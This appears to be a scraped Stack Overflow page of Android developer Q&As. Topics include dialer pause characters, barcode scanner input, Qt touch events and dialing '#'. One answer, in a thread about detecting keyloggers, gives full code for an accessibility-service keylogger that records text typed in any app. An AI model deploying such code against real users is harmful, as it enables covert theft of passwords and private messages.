In a similar vein to Sending Pause and DTMF input in android, I'm trying to send the pause character "," to the dialer. This works on HTC Sense phones and even on the Xoom, but not on "stock experience" phones like the Nexus One or T-Mobile G2 (and I suspect the Motorola Droid).
These phones seem to have a dialer that tries to pretty-format the number (ie adding dashes) and stop upon hitting a comma character. Interestingly, it doesn't choke on a "p" character, though it will strip out "p"s and keep adding numbers.
Here is what the ActivityManager sees:
I/ActivityManager( 92): Starting activity: Intent { act=android.intent.action.DIAL dat=tel:8883333,444 cmp=com.android.contacts/.DialtactsActivity }
I've also tried the encoded form, "tel:8883333%2C444" with no difference in behavior on these phones. I've tried "p", as mentioned, but these characters are dropped resulting in the dialers having 888-333-3444 incorrectly populated, and I'm not sure that "p" is correct anyway.
So, the question: Is there a way to specify a pause that works across most or all android dialers?
Short answer: Doesn't look like it's possible using the native dialer.
Long answer:
The native dialer in Android uses the following code to extract the number you pass in to the dialer using an Intent
if ("tel".equals(uri.getScheme())) {
// Put the requested number into the input area
String data = uri.getSchemeSpecificPart();
setFormattedDigits(data, null);
return true;
}
Within the setFormattedDigits method the number gets transformed thusly:
String dialString = PhoneNumberUtils.extractNetworkPortion(data);
Looking at the docs for extractNetworkPortion you'll notice that it, "Extracts the network address portion [where the] Network address portion is everything up to DTMF control digit separators (pause or wait).
So the code is intentionally striping out the pause character and anything that comes after it. The only alternative I can think of is to replace the dialer or use the ACTION_CALL action instead of ACTION_DIAL. That'll bypass the dialer, so it should be used with caution.
dialing pause has been comma for 30 years
If the android phone is compatible with ITUT V.250 ATS8=2 should set the delay caused by comma to 2 seconds. (it's possible that it has somehow been set to 0s)
ITUT is a great standards orgnisation, you can download their standards for free.
From the android's latin ime source code:
<!-- Pause is a comma. Check PhoneNumberUtils.java to see if this has changed. -->
<Key
android:codes="44"
android:keyLabel="Pause" />
I am not 100% sure if it's public, but you might be able to use:
PhoneNumberUtils.PAUSE
',' is the standard but HTC used 'p' in rogers magic,, have you tried with 'p'?
HTC Magic is using p
This is horrible and dangerous. Business people getting conference call emails on their phone have to constantly switch back and forth to get the number.
Just make it work like it should:
tel://+1-877-555-1212,,,2345678#
Should dial the 877 number pause then dial in the participant conference code and 'enter' (#) when selected anywhere on the phone.
It's that simple. The fact this doesn't work in Android is a iPhone sales pitch.
For future reference RFC-2806 specifies storing telephone numbers in the format:
tel:number;postd=post-dial
Where number can start with + for intentional dialling and can include - or . as a visual separator and post-dial can include numbers, upper case letters A-D, #, *, p for pause and w for wait.
Related
I am trying to receive the scanned barcode result from a device paired via (Bluetooth/USB) to an android device.
so many topics said :
most plug-in barcode scanners (that I've seen) are made as HID profile devices so whatever they are plugged into should see them as a Keyboard basically.
source
So I am using this code to receive the result of the scan:
#Override
public boolean dispatchKeyEvent(KeyEvent event) {
if (viewModel.onTriggerScan()) {
//1
char pressedKey = (char) event.getUnicodeChar();
viewModel.addCharToCode(pressedKey);
//2
String fullCode = event.getCharacters();
viewModel.fullCode(fullCode);
//check if the scan is done, received all the chars
if (event.getAction() == EditorInfo.IME_ACTION_DONE) {
//does this work ?
viewModel.gotAllChars();
//3
String fullCode2 = event.getCharacters();
viewModel.fullCode(fullCode2);
}
return true;
} else
return super.dispatchKeyEvent(event);
}
Note: I don't have a barcode scanner device for the test.
which code will receive the result ?? (1 or 2 or 3 ?)
You won't ever see an IME_ACTION_DONE, that's something that's Android only and an external keyboard would never generate.
After that, it's really up to how the scanner works. You may get a full key up and key down for each character. You may not, and may receive multiple characters per event. You may see it finish with a terminator (like \n) you may not- depends on how the scanner is configured. Unless you can configure it yourself or tell the user how to configure it, you need to be prepared for either (which means treating the data as done either after seeing the terminator, or after a second or two once new data stops coming in.
Really you need to buy a configurable scanner model and try it in multiple modes and make ever mode works. Expect it to take a few days in your schedule.
Workaround solution but it works 100%.
the solution is based on clone edittext (hidden from the UI), this edit text just receives the result on it, adds a listener, and when the result arrives gets it and clears the edittext field. An important step, when you try to receive the result(trigger scan) make sure that edittext has the focus otherwise you wil not get the result.
Quick steps:
1- create editText (any text field that receives inputs) in your layout
2- set its visibility to "gone" and clear it.
3- add onValueChangeListener to your edittext.
4- focus your edittext when you start trigger the scan
5- each time you the listener call, get the result and clear edittext
Note: never miss to focus your edittext whenever you start trigger scan.
Note: this method work(99%) for all external scan device and any barcode type.
Intro: I want to create a POC on Android Security which requires to identify if there is any KeyLogger running on Android device or not. And if it is running or installed on device then, disable it throughout my Android application.
Queries:
1.) Is this possible to create Android keyloggers which intercepts keyboard events and running in background as services?
2.) Is this possible to identify if any of the background process handelling keyboard events?
3.) Can I stop any other background service (not owned by me) by my application code?
Please help me with suitable links if you have.
I know this question already has an accepted answer but I disagree with the accepted answer!
This can be done in android via the accessibility APIs.
Take a look at the below program :
Type Machine
It uses the accessibility APIs, and correctly stores every key stroke you type in any application which is essentially what a key logger does!
EDIT : I am not exactly sure what TypeMachine uses but you should be able to get the text from accessibility service using this method.
For Example, the following code can be used to get a new text:
void onViewTextChanged(AccessibilityEvent accessibilityEvent, AccessibilityNodeInfo accessibilityNodeInfo) {
List text = accessibilityEvent.getText();
CharSequence latestText = (CharSequence) text.get(0);
Log.i(MY_TAG, latestText.toString());
}
As a follow up on #ananth's answer, here is a complete code example on how to implement a keylogger using Accessibility Service.
But, this requires permissions to bind your Service with the system and also the user has to explicitly turn on the Service you create by navigating to Settings>Accessibility>{Your app name} on Android devices. So, if you have evil intensions, good luck with that.
Step 1: Paste this in your manifest file.
<application>
...
<service android:name=".MyAccessibilityService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
</service>
</application>
Step 2: Create a class for your Accessibility Service.
public class MyAccessibilityService extends AccessibilityService {
#Override
public void onAccessibilityEvent(AccessibilityEvent event) {
final int eventType = event.getEventType();
String eventText = null;
switch(eventType) {
/*
You can use catch other events like touch and focus
case AccessibilityEvent.TYPE_VIEW_CLICKED:
eventText = "Clicked: ";
break;
case AccessibilityEvent.TYPE_VIEW_FOCUSED:
eventText = "Focused: ";
break;
*/
case AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED:
eventText = "Typed: ";
break;
}
eventText = eventText + event.getText();
//print the typed text in the console. Or do anything you want here.
System.out.println("ACCESSIBILITY SERVICE : "+eventText);
}
#Override
public void onInterrupt() {
//whatever
}
#Override
public void onServiceConnected() {
//configure our Accessibility service
AccessibilityServiceInfo info=getServiceInfo();
info.eventTypes = AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED;
info.feedbackType = AccessibilityServiceInfo.FEEDBACK_SPOKEN;
info.notificationTimeout = 100;
this.setServiceInfo(info);
}
}
That's it. Now, everything the user types in any app on their phone will be logged to the console. You can configure the above class to listen to the keystrokes from certain specified apps only if you want to. The above class is independent of your MainActivity. The service will get registered as soon as your app is installed. But, again, in order to work, this requires manual toggling of settings as mentioned previously.
Read the docs for detailed explanation on what Accessibility is and details on each of the classes and methods used above.
After research for 1 whole day I reached at below conclusion.
Android does not allow you to intercepts default soft keyboard inputs from background services. The only way to intercepts these events are custom keyboards.
I have summarized it as follows:
In Android Key logging for keyboard events is not supported in background services. Some of the links are as follows:
Point 1: Google Android Developer
As soft input methods can use multiple and inventive ways of inputting text, there is no guarantee that any key press on a soft keyboard will generate a key event: this is left to the IME's discretion, and in fact sending such events is discouraged. You should never rely on receiving KeyEvents for any key on a soft input method. In particular, the default software keyboard will never send any key event to any application targetting Jelly Bean or later, and will only send events for some presses of the delete and return keys to applications targetting Ice Cream Sandwich or earlier.
http://developer.android.com/reference/android/view/KeyEvent.html
Android Jelly Bean is: 4.1 to 4.3.1
Android IceCream Sandwich: 4.0
Key presses on soft input methods are not required to trigger the methods in this listener, and are in fact discouraged to do so. The default android keyboard will not trigger these for any key to any application targetting Jelly Bean or later, and will only deliver it for some key presses to applications targetting Ice Cream Sandwich or earlier.
http://developer.android.com/reference/android/text/method/KeyListener.html
Point 2: Stack Overflow
KeyEvents can only be handled by Activities as they are the interface to the user pressing the keys and only when they are in the foreground. Even Services that run in the background are not intended to react on user input.
Android - Listener for hard keys press at background
Is it possible to create an Android Service that listens for hardware key presses?
Point 3: Romain Guy
Romain Guy (https://stackoverflow.com/users/298575/romain-guy) who works for Google also confirms it
onKeyDown in a service? (Global Hot Keys)
Point 4: Some Other reference:
Google android-developers Group : https://groups.google.com/forum/#!topic/android-developers/o--GUWmqXdI
It can be done only by using Custom KeyBoard: get pressed key and throw another key in android
Please add your comments if you think that I have missed anything.
Context: I'm trying to create a fader-like widget that can have multiple instances in the same view, each of which can be controlled simultaneously by different fingers.
I want to use Qt's gesture recognition system, but I also need some functionality above and beyond the standard Qt::PanGesture. To this end, I've subclassed both QGesture and QGestureRecognizer. In FooGestureRecognizer::recognize(...), I'm currently intercepting both QMouseEvents and QTouchEvents (for the time being, at least).
On Windows I only receive QMouseEvents - I handle them and everything works as expected (though obviously I don't have to deal with the multitouch problem when my input is from a physical mouse). The events I receive (in order):
QEvent::MouseButtonPress
A string of QEvent::MouseMoves
QEvent::MouseButtonRelease
On Android, I receive a strange mix of QMouseEvents and QTouchEvents (in order):
QEvent::TouchBegin
QEvent::MouseButtonPress
QEvent::MouseMove (with no actual change in position)
Another QEvent::MouseButtonPress (not sure why I needed another one)
My actual string of QEvent::MouseMoves, as expected
QEvent::MouseButtonRelease
The global attribute Qt::AA_SynthesizeMouseForUnhandledTouchEvents is true by default. Turning it off changes the events I receive to:
QEvent::TouchBegin
...nothing else.
Here's a precursor question then: What can I do inside QGestureRecognizer::recognize() to tell Qt that I'm handling the QEvent::TouchBegin, and that it doesn't need to synthesize a QEvent::MouseButtonPress for me? event->accept() doesn't appear to make any difference.
The actual question: If (as it appears) Qt is synthesizing MouseEvents from TouchEvents, why do I see I see QEvent::MouseMove and QEvent::MouseButtonRelease but not QEvent::TouchUpdate or QEvent::TouchRelease?
Code is available, but in the interests of conciseness I've not included it here. Please ask if needed.
From the QTouchEvent docs:
The QEvent::TouchUpdate and QEvent::TouchEnd events are sent to the widget or item that accepted the QEvent::TouchBegin event. If the QEvent::TouchBegin event is not accepted and not filtered by an event filter, then no further touch events are sent until the next QEvent::TouchBegin.
The root of this problem is that QGestureRecognizer does not accept the initial TouchBegin, and hence we don't receive any further touch events. I got around this by:
Creating a thin event filter QObject owned by my QGestureRecognizer.
Containing the following code:
bool FooGestureRecognizer::FooEventFilter::eventFilter(QObject *Object, QEvent *Event)
{
if(Event->type() == QEvent::TouchBegin)
{
return true;
}
else
{
return QObject::eventFilter(Object, Event);
}
}
Installing my event filter AND calling setAttribute(Qt::WA_AcceptTouchEvents) on every valid* Target that comes through FooGestureRecognizer::create().
Returning true from eventFilter tells Qt that my fader is interested in receiving further touch events, and these touch events are delivered as expected to the gesture recognizer.
This solution feels like a hack, and one that might not be necessary in future versions of Qt, so I'm going to keep an eye on this code.
Notes:
During the construction of a QGestureRecognizer, create() is called with a null Target (expecting a dummy QGesture to be returned). Watch out for this if you're installing event filters on all Targets.
My application needs to handle desktop mouse events in one way, and multi-finger touch events in another, so I've disabled Qt::AA_SynthesizeMouseForUnhandledTouchEvents. Keeping this enabled may lead to other considerations (e.g. I'm not sure if you'd need to return true for all touch events in eventFilter, so as to avoid them being duplicated as synthesised mouse events).
searched for a solution but haven't found anything even similar.
When dialing a number from the Android Phone application, based on a prefix predefined earlier, I intercept a call. Afterwards I place another call which number is some access number + 2 sec pause + the number intercepted + #-sign.
My question is - is there any possibility (any ACTION_CALL intent extra or something) that this intercepted and not the access number is shown in the Android Phone application?
Example:
Access Number: 999999
Prefix: 011
Number: 011552657659
Thus, newly placed call is 999999,011552657659#.
Result: the Phone application shows 999999 and other digits are dialed tonally, while I want a user to see something 011552657659 instead.
My code is:
Intent intent = new Intent(Intent.ACTION_CALL);
intent.setData(Uri.parse("tel:999999,011552657659#");
context.startActivity(intent);
Thank you in advance!
I need to make calls in my Android app that includes "#" or "p" in the dial.
If I use the next code:
Intent intent = new Intent(Intent.ACTION_CALL, Uri.parse("tel:629941945#22412"));
startActivity(intent);
It makes the call to the number 629941945 without the # and 22412.
And if I use the next code:
Intent intent = new Intent(Intent.ACTION_CALL, Uri.parse("tel:629941945p22412"));
startActivity(intent);
It makes the call without the "p": 62994194522412.
There is a form that I can solve it?
Intent shortcutIntent = new Intent(Intent.ACTION_CALL, Uri.parse("tel:"+Uri.encode("*111*2#")));
startActivity(shortcutIntent);
Try tel:629941945%2322412 instead of tel:629941945#22412
%23 will be replaced with #
Try to use others symbol for pause. Look at http://androidforums.com/android-applications/6733-how-do-i-dial-extension.html or http://code.google.com/p/android/issues/detail?id=7514
But! As I see threre are not one solution and this is depends of phone model
Pause is not supported in the tel URI spec.
http://www.ietf.org/rfc/rfc3966.txt
As stated in another answer %23 can be used to substitute for #.
Some phones don’t have “p” character, but “,” (comma), somewhere it is
“T” and if your phone does not have these fancy characters available,
try “*” or “#“. Hopefully one of this characters will work. Beware, on
some phones are letters case sensitive, so P can not work.
http://rekrowten.wordpress.com/2011/08/29/special-characters-in-telephone-number/
You can not parse such special numbers with an URI since these are not compliant to tel: standard. (http://www.ietf.org/rfc/rfc3966.txt Page 6ff)
You might want to use ACTION_DIAL and give the user the possibility to enter the number himself. Maybe then the phone interprets this as the pause signal p is intended for. To send such pause signals, check Alex Klimashevsky's answer.
Try using "," (comma) instead of p. No idea about "#" though, sorry.